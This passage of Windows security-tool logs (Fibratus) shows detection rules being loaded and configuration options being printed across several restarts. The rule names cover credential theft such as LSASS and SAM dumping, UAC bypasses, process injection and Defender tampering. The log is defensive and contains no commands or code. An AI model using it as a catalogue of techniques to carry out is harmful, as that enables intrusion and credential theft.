C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:54:34+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T16:54:34+01:00 level=info msg=bootstrapping with pid 12692. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:54:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] use-template=>true content-type=>text/html enabled=>false port=>25] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ max-buffers=>36 enable-fileio=>true enable-registry=>true enable-handle=>false enable-threadpool=>false enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-thread=>true enable-mem=>true enable-vamap=>true enable-audit-api=>true flush-interval=>1s enable-image=>true stack-enrichment=>true min-buffers=>16 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info log-stdout=>true max-size=>100 max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ sniff=>false flush-period=>1s trace-log=>false gzip-compression=>false enabled=>false template-name=>fibratus bulk-workers=>1 healthcheck-interval=>10s healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s index-name=>fibratus timeout=>5s] amqp=>[ vhost=>/ timeout=>5s durable=>false exchange-type=>topic exchange=>fibratus passive=>false routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false tls-insecure-skip-verify=>false] http=>[ timeout=>5s method=>POST tls-insecure-skip-verify=>false serializer=>json enabled=>false endpoints=>[] enable-gzip=>false]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-files=>false scan-timeout=>10s skip-registry=>false skip-allocs=>false excluded-procs=>[] excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:54:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:54:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:56:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T16:56:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T16:56:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T16:57:12+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-04T16:57:12+01:00 level=info msg=bootstrapping with pid 14312. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:57:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 use-template=>true enabled=>false to=>[] content-type=>text/html] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true flush-interval=>1s enable-threadpool=>false enable-audit-api=>true enable-fileio=>true enable-vamap=>true enable-mem=>true min-buffers=>16 max-buffers=>36 enable-thread=>true enable-dns=>false buffer-size=>512 stack-enrichment=>true enable-handle=>false enable-net=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text log-stdout=>true max-size=>100 max-backups=>15 max-age=>0] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ timeout=>5s passive=>false exchange=>fibratus vhost=>/ delivery-mode=>transient durable=>false exchange-type=>topic enabled=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus] http=>[ method=>POST enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s endpoints=>[]] elasticsearch=>[ enabled=>false healthcheck-interval=>10s template-name=>fibratus sniff=>false flush-period=>1s gzip-compression=>false servers=>[http://127.0.0.1:9200] trace-log=>false index-name=>fibratus timeout=>5s bulk-workers=>1 healthcheck=>true healthcheck-timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-mmaps=>false skip-files=>false fastscan=>true excluded-procs=>[] skip-registry=>false enabled=>false skip-allocs=>false excluded-files=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:57:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:57:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:57:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T16:57:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T16:57:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T16:57:51+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-04T16:57:51+01:00 level=info msg=bootstrapping with pid 8256. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:57:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 use-template=>true to=>[] enabled=>false content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-vamap=>true enable-net=>true enable-image=>true enable-mem=>true buffer-size=>512 stack-enrichment=>true enable-handle=>false enable-threadpool=>false enable-fileio=>true max-buffers=>36 flush-interval=>1s enable-dns=>false enable-audit-api=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 max-age=>0 formatter=>text max-backups=>15 log-stdout=>true] + output ......................... [ amqp=>[ vhost=>/ enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s url=>amqp://localhost:5672 passive=>false delivery-mode=>transient routing-key=>fibratus exchange=>fibratus durable=>false] elasticsearch=>[ timeout=>5s bulk-workers=>1 enabled=>false healthcheck-timeout=>5s gzip-compression=>false index-name=>fibratus sniff=>false trace-log=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] template-name=>fibratus flush-period=>1s healthcheck=>true] http=>[ tls-insecure-skip-verify=>false endpoints=>[] method=>POST timeout=>5s enable-gzip=>false serializer=>json enabled=>false] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] fastscan=>true skip-mmaps=>false skip-files=>false enabled=>false skip-allocs=>false skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:57:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:57:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T17:00:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T17:00:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T17:00:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T17:00:26+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from 